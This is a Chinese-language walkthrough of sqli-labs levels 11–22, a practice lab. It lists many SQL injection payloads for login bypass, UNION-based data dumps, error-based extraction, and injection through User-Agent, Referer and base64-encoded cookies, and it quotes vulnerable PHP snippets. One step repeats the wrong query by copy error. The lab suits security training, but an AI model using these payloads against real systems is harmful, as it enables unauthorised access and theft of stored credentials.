sqli-labs(11-22)

第11关:

前面的都是关于get注入的方式,接下来将是post的注入

post会以表单的形式提交后台

闭合方式:

在登录框内判断

' or '1'='1' #

判断表的列数:

-1' union all select 1,2 #

sql注入:
采用第一关的注入方式

  • 使用sql函数查询系统数据
    • 数据库版本
' union all select 1,version() #
  • 数据库名
' union all select 1,database() #
  • 连接数据库用户
' union all select 1,session_user() #
  • 操作系统
' union all select 1,@@version_compile_os #
  • 查看数据库数据
  • 显示所有数据库名(group_concat() 函数把列转换为行输出)
' union all select 1,group_concat(schema_name) from information_schema.schemata #
  • 显示当前数据库的所有表名
' union all select 1,group_concat(table_name) from information_schema.tables where  table_schema = database() #
  • 显示表的列名
' union all select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'  #
  • 显示username列和password列
' union all select group_concat(password),group_concat(username)  from users #

第12关:

与第11关一样,只是闭合方式不同
判断闭合方式:

") or 1=1 #

第13关:

不显示数据内容,只显示是否登录成功,需要使用布尔盲注 或 xml报错注入 或 双查询注入

闭合方式:

输入“ ’ ”,报错,从报错信息可以知道,闭合方式是“ ') ”

注入方式:

布尔盲注:根据提示信息判断,与sqli-labs 8 一样的方式

xml:根据错误提示信息报错,与sqli-labs 6 一样的方式

双查询注入 :根据错误提示信息报错,结果随机,需要多次判断,与sqli-labs 5 一样的方式

第14关:

与第十三关的方式一样,只是闭合方式不同

闭合方式:
 
" or 1=1 #

第15关:

只有是否登录成功,没有错误提示,判断注入方式为盲注,盲注有两种布尔型和时间型,这里两种都可,但是采用布尔型更有效率

闭合方式:

' or '1'='1' #

第16关:

与第15关一样,只是闭合方式不同
闭合方式:
采用万能公式:

") or 1=1 #

第17关:

到17关我们又遇到了新的难题,这一关是密码重置,按照前面的方式去试都是无效的,我们需要新的方法去找注入点,在这之前,我们可以先阅读以下后台代码,找到它的防御机制

<?php
function check_input($value)
{
if(!empty($value))
{
$value = substr($value,0,15);
}
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
if(isset($_POST['uname']) && isset($_POST['passwd']))
 
{
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];
 
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
 
if($row)
{
$row1 = $row['username'];          
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
?>

因为17关对用户名是有防御机制的,所以我们在密码上注入sql

  • 首先我们需要一个合法的用户名-admin
  • 然后需要判断闭合方式
User name : admin

New password:' or 1=1 #

执行成功,所以判断为单引号闭合

  • 注入sql语句

采用何种方式注入sql语句,因为有信息提示,所以盲注是可以的,能否报错注入,我们可以判断一下

' and updatexml(1,version(),1) #

输入一个xml报错语句,发现有报错内容,所以判断可以采用报错注入
报错注入的效率肯定要高于盲注,所以这里采用报错注入,注入方式与sqli-labs 5-6 一样,可以选择哪种报错

  • 使用sql函数查询系统数据
    • 数据库版本
 and extractvalue(1,concat(version())) #

  • 数据库名
 and extractvalue(1,concat(0x23,database(),0x23)) #
 and updatexml(1,concat(0x23,database(),0x23),1) #

  • 连接数据库用户
 and extractvalue(1,concat(0x23,user(),0x23)) #

  • 操作系统
and extractvalue(1,concat(0x23,@@version_compile_os,0x23)) #

  • 查看数据库数据
  • 显示所有数据库名(需要多次输出)
and extractvalue(1,mid(concat(0x23,(select group_concat(schema_name) from information_schema.schemata),0x23),1,32)) #

  • 显示当前数据库的所有表名(需要多次输出)
and extractvalue(1,mid(concat(0x23,(select group_concat(schema_name) from information_schema.schemata),0x23),1,32)) #

  • 显示表的列名
and extractvalue(1,mid(concat(0x23,(select group_concat(table_name) from information_schema.tables where  table_schema = database()),0x23),1,32)) #

  • 显示username列和password列
and  extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23)) #

第18关:

按照上一关的打法,没有任何效果,我们判断可能是用户名和密码都做了过滤,我们先用合法的用户名登录(注意第17关的时候修改了admin的密码,需要修改回来),发现返回了我们浏览器的信息。因为我们不了解防御机制,所以需要阅读代码,找到注入点

<?php
function check_input($value)
{
if(!empty($value))
{
$value = substr($value,0,20);
}
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
 
if(isset($_POST['uname']) && isset($_POST['passwd']))
 
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
 
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
 
?>

根据代码,现在用户名和密码都做了检查,但是有一个sql语句没有检查,就是insert语句,所以我们就找到了一个注入点

这条sql语句的作用是在security库中的ugents中插入一元组,参数为‘uagent’、‘ip_address’、‘username’,其中username是有检查的,但是其他没有,所以利用其他参数做sql注入,与前面不同的是这两参数是浏览器输入的,所以需要对http数据包进行修改,可以使用

burpsuite工具

注意:这里的sql注入与其它不同,不能使用注释符将后面的语句注释,因为使用的是insert语句,要保证插入的参数一致

闭合方式:

根据代码可以知道是单引号闭合

User-Agent: ' and 1='1
 

注意插入格式

sql注入方式:

xml报错注入,注入语句放在user-agent中

' and updatexml(1,concat('~',(select database())),1) and '1'='1

第19关:

我们先输入正确的用户名和密码,找一找有没有注入点,用户名和密码都是由检查的,所以我们要找其它地方。输入用户名和密码以后有显示Referer的信息,我们可以假设referer是通过插入语句写入到数据库,那么我们就可以找到这个注入点。

判断闭和:

' and updatexml(1,concat('~',(select database())),1) and '1'='1

采用单引号试一下,返回了报错信息,所以判断就是单引号,而且这就是一个注入点

sql注入方式:

报错型注入:双查询、xml

注入语句放在Referer:中

' and updatexml(1,concat('~',(select database())),1) and '1'='1

第20关:

输入用户名和密码出来很内容,这些内容我们是否都可以作为注入点,我们需要判断

User-Agent:' and updatexml(1,concat('~',(select database())),1) and '1'='1

没有任何提示,所以不是注入点

Cookie:username' and updatexml(1,concat('~',(select database())),1) and '1'='1

有xml报错,所以cookie是一个注入点

闭合方式:

' and updatexml(1,concat('~',(select database())),1) and '1'='1

我们再回头阅读代码

<?php
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
 
$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
 
 
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
          
?>

后台代码中有两条select查询语句,第一条的两个参数都经过了检查,但是第二条没有,所以我们就找到了注入点,这个参数就是cookie

username' and updatexml(1,concat('~',(select database())),1) and '1'='1
 

第21关:

我们利用前一关的方法,对cookie操作时,发现并没有显示结果,我们发现数据包中的cookie是一字符串,我们先通过代码了解一下,这字符串是怎么来的

$cookee = base64_decode($cookee);

代码中有这么一句,也就是说cookee是经过base64_decode处理的,也就是经过编码后在再后台解码,我们知道这是base64编码的,那么我们就可以将sql也变为base64编码,这样在后台就可以执行

闭合构造:

') union all select 1,version(),3 #

注入方式:联合查询、报错注入
Base64编码解码网站
https://tool.oschina.net/encrypt?type=3

  • 使用sql函数查询系统数据
    • 数据库版本
') union all select 1,version(),3 #
JykgdW5pb24gYWxsIHNlbGVjdCAxLHZlcnNpb24oKSwzICM=

  • 数据库名
') union all select session_user(),database(),@@version_compile_os #
JykgdW5pb24gYWxsIHNlbGVjdCBzZXNzaW9uX3VzZXIoKSxkYXRhYmFzZSgpLEBAdmVyc2lvbl9jb21waWxlX29zICM=
 
') and updatexml(1,concat('~',(select database())),1) #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnficsKHNlbGVjdCBkYXRhYmFzZSgpKSksMSkgIw==

  • 连接数据库用户
') union all select session_user(),database(),@@version_compile_os #
JykgdW5pb24gYWxsIHNlbGVjdCBzZXNzaW9uX3VzZXIoKSxkYXRhYmFzZSgpLEBAdmVyc2lvbl9jb21waWxlX29zICM=

  • 操作系统
') union all select session_user(),database(),@@version_compile_os #
JykgdW5pb24gYWxsIHNlbGVjdCBzZXNzaW9uX3VzZXIoKSxkYXRhYmFzZSgpLEBAdmVyc2lvbl9jb21waWxlX29zICM=

第22关:

与21关相同,只是换了一个闭合方式
闭合方式:

" and updatexml(1,concat('#',(select database())),1)  #
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KCcjJywoc2VsZWN0IGRhdGFiYXNlKCkpKSwxKSAgIw==
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值